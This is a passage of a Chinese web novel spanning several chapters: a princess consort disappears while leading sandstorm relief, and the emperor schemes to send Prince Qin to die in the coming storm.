此话一出,衣上云亦是更觉自己责任重大,百姓们当真是经不起一而再,再而三的失败了。 就在她沉思之际,不知为何,竟又再一次犯起恶心来,想要作呕。 侍卫看到,紧忙关切道:“娘娘,眼下虽说正值夏日,可这里昼夜温差很大。娘娘穿着如此单薄便就这么出门来,您是不是白日里被日头打着了,亦或是夜里着凉了?” 侍卫说着,看了看眼前越来越深的夜,道:“外面凉气大,娘娘不如还是快快回屋去吧!” 衣上云将一手抚在心口处,亦是心里纳闷极了,不知自己近日为何总是频繁干呕。 只一边点头,一边迎着侍卫的话,说了句:“好,夜深了,咱们回去吧!” 说完,便起身与侍卫一道朝回走了去。 推开门,侍卫将衣上云小心翼翼地扶进了屋,赶忙替其倒了一盏热茶,递到衣上云的手里,建议说:“娘娘身子不适,属下这就去找大夫过来给娘娘好好瞧瞧。” 话音未落,侍卫便加快脚步朝门外赶了过去,衣上云紧忙开口将其拦住,说:“不必了,大半夜的不要惊动别人休息,我自己不就是大夫吗?” 侍卫极为不放心,还想再说些什么:“话虽如此,可是……” 不料却被衣上云坚决阻止:“没有什么可是的……我许只是累着了,歇息一会儿就好了,不碍事的。夜深了,你也赶快回去休息吧,明天还有很多事要做呢!” 侍卫立在原地,仍不放心地还想坚持一下。 却被衣上云起身来用手推了出去:“好了好了,快回去休息吧,我也要休息了……” 很快,便被推到门外,将门从里面关了起来。 “娘娘……娘娘……” 任凭侍卫再如何唤她,她也不再理会。 不一会儿,终于,侍卫放弃了最后的挣扎,门外也变得安静了下来。 衣上云方才松开了附在门板上的双手,缓缓走向案几边,再次落坐了下来。 双手抱着脑袋,理了理自己纷乱的思绪,最后打起精神来说了句:“我一定可以的。” 接着,便再一次从头开始翻起了案上的资料来。 不知过了多久,一遍又一遍地查阅着,终还是耐不住疲惫不堪的身子,这些日子以来,她实在是太困了。 隧一手支撑着脑袋在案几上打了个盹,渐渐地,脑袋最后终于重重地贴在了面前的案上。 恍恍惚惚中,一个声音传了出来:“你以为嫁给这样的男人,还能得到你想要的幸福吗?或许,你们之间,早已注定了终将会不得善终呢?” 衣上云口中喃喃说:“殿下就是我的幸福,我们一定会幸福,很幸福,殿下他不会,他不会,不会……” 紧接着,却又呢喃细语着喊:“魏明轩,你快回来,快回来,回来……” 就在这时,她手腕上一直贴身戴着的七彩金丝彩玉镯子缓缓闪耀起了一道道紫色的光芒来。 睡梦里,传出一女子轻柔的声音在召唤着她:“云儿,醒醒,快醒醒,云儿……” 闻声,衣上云缓缓睁开了眼睛,却是眼前一片茫茫云雾,什么都看不见。 以为是自己还没睡醒,于是,她用力地揉了揉眼眸。 似是能看到一些了,她便寻声渐渐靠近,看到面前缓缓出现了一位一袭白色长裙,仙气飘飘的女子,竟与自己有着同样的一张面孔。 她顿瞪大了眼睛,惊愕地看着她的脸,问:“你……你是什么人?为何长相与我如此相像……不,你我简直就是同一个人。” 那女子近身过来后,温柔极了地朝她笑了笑,却是只顾自说自话着道:“云儿,如今见你是真的长大了不少!看你已经懂得承担来到这个空间里属于你自己的责任和使命,我很是为此感到欣慰。你……做的很好!” “责任……使命……” 衣上云听着耳边这些熟悉的词语,似是忽然想到了什么,油然揣测着问:“莫非……难道你就是上一任被西秦国遗失的守护者后人?后来流落到东宁国成了东宁最尊贵的嫡皇后?” 无论衣上云说什么,亦或怎么说,白衣女子的眼神始终都温柔如水。 只是最后脸上添了些许失落,道:“我,自私懦弱……并不算是一个合格的守护者。但所幸……你是!你勇敢,善良,又聪明能干,胜过我千倍,甚至万倍!” 至此,衣上云终于明白了过来,隧甚觉不可思议,难以置信地道:“你当真的是上一任西秦守护者,是我的……母亲?!” 白衣女子并未正面回答她的问题,只是停下来仔细端详了她许久,忽然开口对其致起歉来说:“对不起,终究,还是没能让你成为一个普通人家的女子,享一世安乐无忧。这一生,注定又要颠沛流离!” 此话一出,衣上云自己也不知为何,泪水忽然滑落脸庞,模糊了视线。 许是记忆里眼前的这个生母,亦是短短不幸的一生之遭遇让自己难过。 又也许是因为自己复杂的身世,让自己在这偌大的世上,就连最简单的寻一隅之地,栖身之所都是那样的难。 如今俩俩相望,亦只有泪痕满面,更是感慨同病相怜,终无力抵抗命运的安排。 终是白衣女子先回过神来,开口打破了这片沉寂:“对了,你可知,觻县即将到来的下一场沙暴,其破坏程度之大,将会是史无前例的。依照你目前的治理成效来看,虽然较之前,已是取得了很大的成功,可还是抵抗不了其威力。” 闻此,衣上云亦终于回过了神来,回答说:“我知道,通过这段时间的测试对比,觻县今年的风速比过去往年都大了许多。” 白衣女子听了亦担忧地问:“那你心里可都已经有了对策?当如何应对?” 不用别人提醒,衣上云的心里也已是着急的不行,可眼下她也只能缓缓摇摇头,说了句:“还没有。” 白衣女子亦垂头想了想,继而再次扬起笑脸来鼓励她说:“我相信你,你一定可以!” 衣上云沉默着,忽然想到了什么,开口问白衣女子:“对了,你知道有什么黏剂良药,可以使固沙的效果更好吗?” 白衣女子一边重复着她的话:“什么黏剂良药,可以使固沙的效果更好……” 一边隧仔细想了想,最后摇摇头道:“这倒是没有听说过。” 衣上云刚刚好不容易燃起的一丝希望,再次被无情地浇灭。 就在她垂头再一次陷入心灰意冷,不知所措之际,白衣女子忽然开口说:“不过,我听说沙漠里有一股神秘的清泉,这股清泉只有有缘人才能遇见,至今都没人见过。可这泉水,既然都能在荒漠里存在着,想必用它定能合成最好的固沙黏剂。” 闻此,衣上云简直不敢相信自己的耳朵,猛的抬起头来再次朝其确认:“你所说的……是真的吗?” 白衣女子点了点头,说:“可这也只是我的猜想,可不可行还尚可未知……” 无论如何,纵使只有一线希望,也总比毫无头绪,坐以待毙强,衣上云顿时便在心里打算了起来。 见她紧紧蹙起的眉头,此时终于渐渐舒展了开来,白衣女子再次细细上下打量了她一番,似是另外看出了些许什么。 叮嘱衣上云说道:“云儿,你要切记,天下苍生,黎民百姓们固然重要,可你也务必要当心自己的身子。守护者代代虽只以单脉相传,可却轮回转世,生生不息。” 然衣上云此刻只顾着沉浸在自己的想法里,许久后才回过神来,嘴里隧嘀咕着:“轮回转世,生生不息。” 似是不明白她为何说这样的话,于是便想抬起头来问清楚:“请问您这话是什么意思?何谓……轮回转世,生生不息。” 怎料白衣女子已然不知何时已经离开。 “回来……你回来……” 霎时间,衣上云从梦中惊醒过来。 第六百零四章:小姐不见了 “轮回转世,生生不息。” 梦醒后,衣上云嘴里依旧还碎碎念叨着,却是依旧猜不明白其所指究竟为何? 不经意间,目光滑过至窗外,见此时的天色依旧还暗着。 隧再次回想起方才那个不可思议的梦境来,她却是心里早已起了波澜。 自言自语道:“莫非世间真的存在这种可以合成更好的固沙剂的神秘水源不成?” 想了又想,似乎目前也没有什么更好的办法,与其坐以待毙,或许可以一试。 便默默下定了决心:“无论如何,这次,一定不能让大家的辛苦再次白费!百姓们已着实承受不了了!” 于是,便再也没了睡意,起身来悄悄再次出了门。 不知过了多久,一束亮光终于缓缓穿透了黑暗的遮挡,一泻而下。 终于,天亮了。 燕儿同过去的每一日一样,在对自己进行了一番简单的洗漱后,便准时捧着一盆在这里显得尤为珍贵的水朝着衣上云的门前走去,准备侍奉主子起床洗漱。 自打来到这里以后,她亲眼看着衣上云无论是白天挽起袖子像模像样地与百姓们一起劳作,还是夜深人静时独自一人静静地悉心研究新的治沙方案。 其一次又一次,做着一件又一件让自己意想不到的事情,每次都让自己是那样的惊讶不已。 隧拧起眉头来嘴里碎碎念,纳闷极了:“从小到大,小姐虽说在府中不受待见,那也是十指不沾阳春水,从未做过此等粗鄙繁重的事情。关于治沙,更别说她了,就算是老爷和少爷,也从未见涉猎过。却是……怎的如今见小姐带领着大家做起这些事来,会如此得心应手?” 霎时间,其脑海中,忽然闪现出这个小主人自打苏醒之后身上所发生的一件件令人不可思议的事,与其苏醒前软弱胆小的性格完全判若两人。 就在这时,她忽然想起衣上云因为太后病重之事涉及老爷,被罚短暂的入宫经历,回府后的那天对她所说的话:“其实,我不是你家小姐,早晚我都会离开这里的。” 隧疑惑地喃喃自言自语说:“难道……她真的不是小姐?” 可话刚一说出口,便又晃了晃脑袋,自己否认了自己:“我这是在胡思乱想什么呢,她若不是小姐,又会是谁呢?苏醒后的小姐,一定是重获了新生。现在的小姐不是更好吗?燕儿一辈子都要陪着她,跟她在一起。” 说完,脚下便紧了两步,打起精神来上前一手推开衣上云的房门,迈步跨了进去,一边轻唤道:“小姐,赶快起来洗漱了……” 进门后,不想却并未在屋内看到衣上云的身影,燕儿便从屋内走了出来,又继续在屋前屋后,院子里的角角落落仔仔细细找了起来。 可终究,她还是没能找到,最后定足立在屋门前,嘴里嘀咕着:“每日这个时辰,小姐都会等着燕儿的呀……” 渐渐地,她的心里忽然升起一丝不好的预感:“莫不是小姐,她自己一个人出门了吧。这里疆域甚是辽阔,却人烟极其稀少,听说还常有豺狼成群出没……” 显然就连想都不敢再往下想。 “不……小姐……小姐……你千万不能有事,小姐你到底去哪儿了?” 燕儿顿觉整个人都在心惊胆战,拔腿便朝外面跑了出去。 不想刚一出门,却与同样每日于固定时间前来接衣上云一道出门的侍卫卫宁撞了个满怀,隧发出一阵吃痛的声音:“啊……” 卫宁亦是心里惊了一下,紧忙伸手将燕儿扶住,关切询问:“燕儿,你没事吧?为何如此慌慌张张?” 此时的燕儿显然已完全顾不上自己的痛感,心里急的都快要哭了,抬头一看清来人正是卫宁,便紧紧捉住他的两只胳膊,眼里都似已经有泪水在闪烁。 害怕的连话也说不明白,只断断续续道::“卫侍卫,不好了……小姐……我家小姐……” 卫宁顿时领会到,放眼朝其身后空荡荡的院子里看了一眼,忙追问燕儿:“你是说王妃?王妃娘娘她怎么了?” 燕儿终是忍不住,急的哭了出来,说:“小姐她……小姐不见了。” 卫宁听了顿时惊呆了:“你说什么?王妃娘娘……不见了?” 燕儿心里早已慌乱极了,抽泣着说:“我刚刚去准备给小姐洗漱,却见她并不在屋子里。于是便在屋前屋后,院子里都已经细细找遍了,可小姐她都不在……都不在。” 卫宁听了,甚觉不可思议地说:“怎么会?夜里凌晨的时候,我还曾见过王妃娘娘的。” 深夜时分,卫宁怎会见过她家小主人,燕儿一听顿朝其投去质疑的眼神,道:“凌晨?” 卫宁点点头,解释道:“凌晨时候,我刚好经过,看到娘娘一人出了门,怕她有危险,便悄悄跟了上去,王妃娘娘近来实在是压力太大了,许是一早出门去透透气便就回来了!” 燕儿心下想了想,最近衣上云的确总是愁眉不展的,自己也想了许多法子,可依旧不能替她排解。 觉察着燕儿紧捉着自己手终于缓缓松开。 顿了顿,卫宁继续说:“其实觻县的沙暴,自从先皇离世后,朝廷一直都是断断续续的应付着,治一阵子,歇一阵子,三天打鱼两天晒网。没有持之以恒,自是不会有任何成效,甚至有些官员还打着治沙的旗号,肆意敛财,默许一些不法之徒随意挖采,结果越治越差。” 说完这些的时候,卫宁的拳头早已紧紧握起:“如今皇上更是连表面功夫都懒得做了,完全放弃了觻县。据殿下调查,上次的沙暴,朝廷根本就没有真正拨款下来赈灾,这才使得灾民们没有办法才背井离乡,四处逃荒。” 燕儿这才明白了过来,甚觉不可思议地说:“怎么会这样?溥天之下,莫非王土;率土之滨,莫非王臣。这天下是皇上的天下,臣民亦都是皇上的子民。皇上如此不作为,就不怕天怒人怨,灾民们谋反吗?” 卫宁双手抱怀,冷哼了一声,说:“怕,当然怕,皇上怎能不怕灾民们谋反。” 燕儿这就不明白了:“那他还……” 卫宁拧紧眉头,咬紧牙关,狠狠地说:“所以,当得知疫情的第一时间,皇上便秘密派出一队精兵良将,将企图逃往皇城的灾民们一律格杀勿论!” 燕儿一听,顿时被惊吓到:“你说什么?皇上要杀了这些可怜的灾民?” 可隧心里一想,紧忙又问:“那延福寺的这些灾民们,他们是……” 卫宁道:“殿下一得知皇上秘密派兵的消息后,因我本是觻县人士,便就命我火速带人去解救。然终是晚了一步,只救下少数人,本想奉殿下之命秘密带他们回城安置,不想受了惊吓的灾民们太过于警惕,便就半路走失了。” 燕儿听了这些话,正在垂头细思极恐着。 卫宁又道:“只是想不到,这些走失的灾民们,后来竟然被王妃娘娘给遇到了,也终算是他们这辈子莫大的福气。当时殿下也为此甚觉不可思议,庆幸至极。只是……他们实在不该拖累娘娘,将娘娘带到这里来,这里真的太危险了。” 燕儿默默地道:“我家小姐,她本就是这样善良的人。” 这时,卫宁忽然想起了什么,对燕儿说:“王妃娘娘在得知了这些事情的真相后,更是不愿觻县的百姓们再次受苦,这才夜以继日,呕心沥血地带领着百姓们治沙。这几日,身子似有些不适。真怕再这样下去,要是真的累倒了,那可怎么办,到时如何向殿下交代?” 燕儿缓缓抬起头来问:“你说……娘娘的身子似有不适……是什么意思?” 卫宁回忆昨晚的情景,说:“许是太操劳了,娘娘她频频作呕,你整日照顾在侧,难道不知道吗?” 燕儿摇摇头,当真没注意到这一点,于是重复着:“频频……作呕……莫非小姐她……” 有了之前衣上云第一次怀孕期间照顾的经验,燕儿忽然似是怀疑起什么来。 可心里又有些纳闷:“可怎么会呢,每次殿下要了小姐之后,我都会按照殿下的交代,给小姐服药的呀,怎么可能会?” 顿时,燕儿心里惊了起来:“不行,乐太医和老爷都交代过,小姐千万不能再有孕,否则便会性命不保。” 一念至此,燕儿紧忙问卫宁:“昨夜你是在哪里见到小姐的?” 卫宁道:“我这就带你去。” 可当二人紧赶慢赶,来到昨夜衣上云所在的大树底下时,这里却是空空无一人。 卫宁环顾了一下四周,纳闷地道:“我没记错呀,昨天夜里凌晨时分,我就是在这里看到王妃娘娘独自一人坐在这颗古树下的。” 燕儿想了想刚才在屋里看到的一切,嘴里喃喃低语说:“不对,方才我看到小姐屋里就连床上的被褥也还折叠整齐地放着,没有丝毫被使用过的痕迹。” 霎时间,燕儿明白了过来,紧紧再次回捉住卫宁的手臂,与其面面相觑道:“小姐她……一定是出事了,怎么办?怎么办?” 第六百零五章: 老天都在帮朕 燕儿这一慌,卫宁的心里便也跟着油然生起几分着急,回想昨夜送衣上云回来的情景,嘴里碎碎念道:“难道昨夜在我离开之后,王妃娘娘真的又出了门?” 紧接着,稍一思索,他压抑住内心深处的不安,先安抚燕儿的情绪,说:“你先别慌,或许王妃娘娘真的只是独自去查看附近某片沙地了也未曾可知。你先回去等着,我这就多带些人四处去找。” 话音刚落,便要转身离去。 可这都已经火烧眉毛了,燕儿哪里还能干等着。 便伸手一把拽住了卫宁的胳膊,着急地朝其央求道:“不,我不要留下,我也要去找小姐……小姐她的身子,她的身子……极可能已经再次有了……” 燕儿欲言又止,害怕极了地说。 卫宁当然知道燕儿此时很是担心衣上云的安危:“可你若不留在这里等,万一王妃娘娘又回来了我们都不在怎么办?” 燕儿直觉自己此刻间手足无措极了,认真思考后,最后终于点了点头,答应听卫宁的安排留下。 这时,卫宁从身上掏出一个竹筒将其认真地放在燕儿的手里,叮嘱她:“如果看到王妃娘娘回来,你便将这个烟花点燃,以示信号!” 燕儿早已是以泪洗面,哽咽着朝其亦认真地点了点头。 卫宁便迅速转头离去。 斗转星移,转眼已是三日过去。 然关于寻找衣上云的下落,却依旧没有任何音信。 燕儿依旧整日整夜地担心流泪:“小姐,你到底去哪儿了,你快回来……” 卫宁在其面前一边来回踱步着,一边亦心乱如麻:“这都已经三天了,我们的人和所有百姓们一起将所有能找的地方全都已经找遍了,怎的依然不见王妃娘娘一丝踪影?” 越往下想,便越是自责内疚,既然当时自己已经发现了衣上云的状态不好,他就应该寸步不离地守护着才对。 可是…… 隧暗暗握紧双拳狠狠爆了一句:“该死!” 静了静,似是最后在心里做了什么决定,说道:“这样下去不行,事到如今,我必须立刻将此事告知殿下。” 说着,便紧忙走到书案边提笔给轩辕翰书写下一封秘密信函后,小心翼翼地以火漆封住,命令门口一侍卫:“火速将此信函送回府里,务必交到殿下手中。” 侍卫抱拳领命:“是!” 说着,便转身离去。 见此,燕儿的心里更加担心害怕起来:“小姐,都是燕儿不好,那晚燕儿就该寸步不离地守着小姐,燕儿实在不该比小姐早睡。小姐……燕儿错了,燕儿真的错了,你快回来,燕儿好怕……燕儿真的好怕。” 说完,便又继续哭了起来:“呜呜呜……” 西秦皇宫。 刚下早朝,一踏进书房的门,璟帝便收到了一封密信。 他快速地将其展开来一看,被信上的消息惊的顿时瞪大了眼睛。 刹那间,引起了雷霆之怒,隧重重地将信一把拍在了面前的案几上,呵斥道:“这到底是怎么回事?” 见状,“扑通扑通……”殿内的侍卫太监们一个个都吓的瞬间纷纷跪了一地,垂首颤颤巍巍齐声道:“皇上息怒!” 此时此刻,璟帝哪里还压得住心头的冲天怒火。 伸出一手,指着殿上跪着的前来亲自送信的一尚还来不及喘气,脸上似是被岁月的风霜雕刻的已看不出真实年龄的风尘仆仆的一袭铠甲与身的将军。 狠狠斥责他:“你们一个个都是怎么办差的?当初不是你亲自跟朕说,那些贱民都已经处理地干干净净了吗?如今他们又怎会出现在觻县开始治沙了?竟还比之前任何时期的规模还要大?是谁允许他们这么做的?又是谁在挑衅朕?” 那送信来的将军战战兢兢,不敢抬起头来半分,有些吞吞吐吐地道:“当时属下奉命诛杀所有逃难的灾民,的确是万无一失。属下也不知道是怎么回事,怎的又会冒出一批贱民来?但是……但是……此次带头组织治沙的……似乎是……是……” 见他办事不利,此刻又一副犹犹豫豫的蠢笨模样,璟帝自是气不打一处来,隧怒瞪着他,喝道:“蠢货,是什么?还不快说!” 闻声,那将军再也来不及思索,脱口即出道:“属下该死,请皇上恕罪。属下经查,此次在觻县组织带头治沙的,像是一名女子……” 未及他将话说完,璟帝简直不敢相信自己的耳朵,惊愕地缓缓立起身来,俯瞰着他的头顶,朝其再次确认:“你说什么?” 将军又重复了一句:“此次在觻县组织带头治沙的乃是一名年轻女子。” 似是半晌后,璟帝方才再次回过神来,追问道:“是什么样的女子?竟有如此大能耐?” 将军心下里犹豫了一下,道:“这个……属下目前还未查清楚其身份?” 璟帝一听,顿又再次发起怒来:“那你还杵在这里干什么,还不给朕快去查?废物!” 闻声,将军好不容易刚刚稍稍抬起一点点的身子不由自主地再次低垂了下去,直至最后只能低低地趴在殿前漆黑冰冷的地板上,卑微地领命道:“是,属下这就去查。” 璟帝还不忘再次警告他:“朕限你七日之日要是不把那女子的人头提来见朕,那就将你自己全族的脑袋一一俱都奉上。” “是!”闻声,将军豆大的汗水霎时间一颗接一颗滴落下来,小心翼翼地滴在地板上。 然璟帝却是毫不留情,不屑一顾地怒将其驱逐出大殿:“滚!” 那将军便颤颤巍巍地起身,退了出去。 这时,璟帝紧紧握住一拳,放在面前的案几上,细想了一阵,口中自言自语道:“该死,毋庸置疑,这一定是秦王搞的鬼!一定是他命人又在暗地里跟朕做对……不过,这次朕倒要看你还能得意多久!” 一念至此,他盯了一眼旁边立着的大公公,那公公便迈步朝其身边凑了过来。 璟帝眼神怪异地瞥了他一下,询问其道:“再有月余,觻县是不是将又会迎来一场沙暴?” 大公公想了想,回答道:“根据司天局所推算的,应该八九不离十。听说,这次即将到来的沙暴将会是觻县史无前例,迄今为止最大的一次。” 璟帝似是在心里盘算起什么阴谋,最后嘴角一勾,露出一抹谄笑,道:“看来,真是连老天都在帮朕。” “皇上的意思是……”大公公不明所以地请示。 璟帝幸灾乐祸道:“民间一直在传闻,说秦王不是颇为深得民心,爱民如子嘛!那就速速命人拟旨,觻县受灾严重,然当地官员能力不足,办事不利,为解救百姓于水火,朕特派秦王亲自带兵速去支援!” 至此,大公公终于明白了过来,奉承着说道:“皇上是想借这场特大沙暴,让秦王有去无回。最后,将此归结于天灾?” 璟帝忍不住大笑了起来:“哈哈哈……哈哈哈……” 听到璟帝这阵阴险至极的笑声,就连大公公亦是顿觉一阵毛骨悚然的凉气袭遍至全身,却是脸上还得陪笑着。 而此时,对此即将到来的一场滔天阴谋尚还毫不知情的轩辕翰,正与其副将程良,行进在下朝回府的路上。 忽然,耳旁前面传来一阵喧嚣声。 坐在马车里正在闭目养神的轩辕翰,缓缓睁开了那双不怒自威的眼睛。 继而伸手掀开车帘,问窗外正骑在马背上的程良:“前方发生了何事?” 程良亦是尚还不了解,便回禀道:“属下这就下去查看!” 说着,便翻身下马上前去。 只见一年轻女子,身后护着一老婆婆,当街而立,正被一摇摇晃晃,似是喝了不少的醉汉调戏辱骂。 “嘿……你个骚娘们,以前在万骄阁,爷爷根本就看不上你。如今,爷爷好心给你钱,让你陪爷爷一晚,你倒还婊子立牌坊,装起贞洁烈女来了!” 女子眼神显然有些躲闪,却仍替自己辩解着:“你胡说,什么万骄阁?我从未听说过,你要是再在这里无理取闹,小心我对你不客气!” “不客气……爷爷倒要看看今天你要对我如何不客气……”醉汉说着,便朝女子身边扑了过去,欲对其行无礼之举。 碍于此时周围太多看热闹的人,甚至还有人对其指指点点,女子似是有些不敢反抗。 见那酒醉男子朝自己步步逼近,女子只能步步后退。 正当醉汉即将朝其伸手过去想要轻浮其时,一把明晃晃的利剑抵在了他的脖子上。 醉酒男子眼睛一斜,看到程良一脸厉色正怒怼着自己,顿定在了原地,怯怯地道:“好汉别……别……别……这个臭女人,好汉若是喜欢,今日就先归好汉您了,只求好汉放过我!” 程良狠狠呵斥其道:“还不快滚!以后要是再敢酗酒,在皇城的街上骚扰百姓,寻衅闹事,小心你的脑袋!” “多谢好汉饶命,多谢好汉饶命!”那醉汉被程良一吓,似乎瞬间清醒了过来,连滚带爬地仓惶逃命去了。 众人见此,一个个也都对其拍手叫好,继而纷纷散去。 就在程良收起长剑,正欲转身离开时,女子似乎缓缓认出了他,口中喃喃道:“你是……程将军?” 闻声,程良方才转移视线认真回看向女子的脸…… 第六百零六章:现身皇城的祖孙俩人 “你是……” 显然,程良对眼前的女子似是已毫无记忆。 于是女子赶忙自己介绍自己说:“我是兰香啊!程将军,你是不是不记得我了?” “兰香……”程良听了,隧在脑海里慢慢搜索回忆着。 见她已然不记得自己,兰香正想上前去说话,刚一抬脚,忽又想起了什么。 隧转身一把握住了身旁老婆婆的手,对其交待说:“外婆,你在这里等等我,我去谢谢这位救命恩人。” “好,你去吧!”老人听话地答应道。 兰香这才笑了笑,放心地紧了两步上前,惊喜地说道:“程将军,真是好久不见,没想到会在这里碰到将军!” 气氛依旧有些尴尬,可她心里也似是有些迟疑,顿了顿,复又接着开口说:“其实……方才那人说的没错,我曾经的确是城南万骄阁里的一名风尘女子,我叫……兰香。” “城南万骄阁……兰香……”闻此,回忆了片刻,程良终于想了起来。 转而亦是吃惊极了地道:“我想起来了,原来是你!” 见其终于记起自己,兰香高兴地点了点头,朝其致谢:“方才兰香被街头无赖所纠缠,多谢程将军的救命之恩。” 程良道:“不过是举手之劳而已,不必言谢!” 隧朝其身后望了一眼那位尚还一直在原地乖乖候着的老人。 兰香意识到他的注视后,赶忙对其介绍:“那是我外婆……” 程良点了点头,继而问她:“你们怎么会来皇城?” 兰香再次回头看了看那位白发苍苍,年迈体弱的老人,似是心里有太多的忧伤。 隧脸色瞬间变得忧郁起来,说:“实不相瞒,此次,我是带着外婆一起来投靠父亲的。” “你的……父亲……他不跟你们在一起生活吗?”程良不解地问。 兰香看着程良的脸,露出一抹无奈的笑容。 继而缓缓摇了摇头,脸色也变得越来越沉,说:“其实……原本我这一辈子都不想再与那个人有任何交集,可造化弄人,我怕是不能照顾外婆一辈子了……” 欲言又止地,她在心里默默地恨道:“世间怎会有那么多薄情寡义,该死的男人!怎的偏偏还都让我们母女给遇上了。如今……我都快要死了,可我必须在死之前,将年迈的外婆安顿妥当才行。” 顿了顿,兰香再次开口说:“我的父亲,他始乱终弃,辜负了对我娘的期许。可即便如此,他也必须为自己年少时的背信弃义付出该有的代价,我不能这么轻易便饶恕他!” 此话一出,程良总算是亦能猜到其中几分缘由了,想来身为一女子,终归是要出嫁的,自是无法照顾老人的一生。 于是,便问她:“那你可知,你的父亲,他现在在哪里?你带着外婆,又没有马车,也不方便赶路,如果顺道的话,要不……我们捎你们一段,如何?” 说着,便移步朝马车边回去,说:“我这就去同殿下禀报。” “什么……秦王殿下……他也在此?”兰香一听,顿时吃惊地道。 “殿下刚下早朝,正要回府呢!”程良解释道。 兰香则赶忙动手打理起自己的周身来,继而再回头搀扶起外婆一起朝马车边上过去,准备给轩辕翰行礼。 尚未及祖孙俩走到马车边上,轩辕翰竟早已从车上下来。 一袭黑衣锦袍,双手附后,挺拔而立,尊如神袛。 祖孙俩一朝其近身过去,便紧忙屈下膝来,预备朝其俯身跪拜行大礼。 轩辕翰一见老人步履蹒跚,即刻开口沉声将其阻止:“既然你们都是本王王妃的故人,就不必行如此大礼了!” 动作已然行至一半的兰香听了隧莫名惊诧地说:“王妃?” 这时,程良对其解释说:“衣姑娘如今已经是秦王妃了!” “什么?”闻声,兰香顿时抬起头来朝其瞪大了眼睛,惊呆了。 就在兰香原地里被惊的似是再也说不出话来时,轩辕翰看了看嘈杂的四周,说:“好了,这里不是说话的地方,先上车,有什么回府再说!” 话音刚落,便兀自过去翻身上马。 而兰香直看着眼前秦王府高大豪华的马车,想着自己的身份如此卑贱,实在不配乘坐。 “可是……”正当她想开口拒绝时,程良朝其使了个眼色。 兰香一见,便再也不敢说什么,最后只能扶着外婆踩了上去。 到了秦王府。 轩辕翰一下马来,便兀自朝着林月轩回去。 兰香扶着外婆,在程良的带领下,走在王府的回廊上。 祖孙俩每走一步,见所到之处亭台楼阁错落有致,皆一片迷人景色,令人目不暇接,无不深深被秦王府的威严又不失气派所吸引。 兰香心里默默地惊道:“真没想到,那丫头如今竟真的成秦王妃了!秦王轩辕翰,神一样存在的人物,那可是灵空大陆多少名门贵女的梦啊!” 正思量着,程良忽然止步下来,推开身旁的一扇门,说:“二位先在这里稍作休息,待会儿婢女会送饭菜过来给俩位。我去安排车马,到时候让人带俩位去你们想去的任何地方。” 兰香紧忙推辞说:“这不太好吧,太麻烦将军和殿下了!” 老婆婆也忍不住开口赞叹道:“耳闻不如一见,秦王殿下可真是个好人!” 程良笑着说:“说到底,以前在城南的时候,二位曾经也算是帮助过我们王妃娘娘。如今这点小事,二位就不必再推辞了!” 程良这样一说,兰香心里反倒有些内疚起来,当初自己险些差点儿就害了衣上云。 所幸,还好最后衣上云没事。 自己倒是无所谓,可她的外婆从城南走到这里就早已经走不动了,着实已再经不起长途跋涉地步行。 于是,她朝程良客气地说道:“那就有劳程将军了。” 刚说完,忽然似是又想起了什么,犹犹豫豫之间,最后还是开了口,问:“对了,程将军,我与云……” 然话刚出口,似是意识到自己说错话了,于是赶忙改口:“我与王妃娘娘已有许久未见,不知可否让我再见王妃娘娘一面?” 程良沉默不语着。 兰香疑惑地道:“怎么?是不是不方便?” 程良心下里想了想,说:“实不相瞒,王妃娘娘,她近几日并不在王府里。” 兰香吃惊地道:“不在王府?那王妃现在何处?” “这个……请恕我无可奉告!” 特殊时期,为了衣上云的行踪能够被完全保密,程良自是对谁都不能说。 兰香尚还在猜测,程良忽然再次开口将其思绪打断:“对了,请问你们要去什么地方?我好交待下去安排好二位的行程。” 兰香顿回过神来,答道:“我们要去觻县!” 程良一听,霎时间愣了一下,惊诧地道:“觻县?那里刚刚经历了一场沙暴之灾,如今到处荒无人烟,极其凶险,你们要去觻县?” 兰香解释道:“将军有所不知,方才在街上一酒楼里,我听说那个人,他数日前去了觻县。且莫说是觻县,就算是阴曹地府,我也一定要找到他。” 看到兰香态度如此坚决,程良亦只能点了点头:“好,我知道了,我这就去安排。今日天不早了,今晚二位就暂且宿在这里,明日一早,我让人再护送二位上路。” “多谢!” “多谢!” 兰香与外婆俩异口同声地朝其致谢。 华灯初上。 云水阁里,到处一片通明。 衣上云不在的这些日子,每当夜幕降临,轩辕翰便会一个人悄悄地来到这里。 站在门口,看着面前丝毫未变,熟悉的院子与阁楼,仿佛到处都尚还残留着衣上云的影子,她的味道,她的笑容,她的眼泪…… 晚风轻拂,仿佛她无尽的温柔,将自己紧紧围绕。 她,其实从未离开。 “云儿,一定要等着本王,本王很快便会去接你……” 就在这时,轩辕翰忽然警觉地发现院子里一漆黑的角落似是有个人影浮动,便朝其大喝了一声道:“谁?” 没想到,果然缓缓走出一个人来。 那高大的身影,抬手将身上黑色披风的斗篷掀了下来,轩辕翰一眼便将其认了出来:“易三少……是你!” 一想到易三少在衣上云的事情上,总是屡屡挑衅自己,便愤愤道:“你在此鬼鬼祟祟地做什么?” 易三少不屑一顾地瞥了他一眼,自顾自只问:“轩辕翰,你到底将丫头藏到哪儿去了?为何我到处都找遍了,也找不到她!” 轩辕翰隧故意扯谎,气他道:“本王的王妃,自是每日都乖乖地呆在本王的身边。” 话音刚落,易三少便气急败坏地怒了:“胡说,她根本就不在王府里。” 显然,看来易三少又再次将府中上下探了个遍。 轩辕翰虽气,却还是努力压抑着心头的怒火,沉声道:“易三少,本王警告你,你若是再一而再,再而三地挑战本王的耐性,无视王府侍卫的存在的话,我保证你下次窜入王府,便再插翅难飞!” 易三少似是真被轩辕翰的这番话蒙住,隧紧了两步上前,凑到轩辕翰的鼻前,质问他:“轩辕翰,你有什么资格囚禁丫头?” 轩辕翰纹丝不动,反问他:“本王有何资格?” 顿了顿,提醒他:“你别忘了……云儿……她如今已是本王名正言顺的王妃……本王有资格对她做任何事情,且与任何人无关,任何人也管不着!” 易三少已然气的连话都说不出来:“轩辕翰……你不能这么对丫头……” 而轩辕翰却不再说话,只直勾勾地盯着他的眼睛。 就在二人四目相对时,一侍卫脚步匆匆地走了过来…… 第六百零七章:本王马上就来 就在二人四目相对着,相持不下时,一侍卫脚步匆匆地朝二人所在的方向走了过来。 轩辕翰甚至都没有朝那人的方向斜一眼,仅仅只听其脚步声,便已知道了他的身份。 反倒开口提醒身旁的易三少:“怎么,你确定怎样进来的,还不赶快怎样离开吗?当真要让本王命人对你动手?” 易三少依旧目不转睛地怒瞪着他的双眼,但见明显得不到任何自己想要的消息,最后撂了一句话:“轩辕翰,算你狠!但无论如何,我是都不会放弃丫头的!除非,我死!” 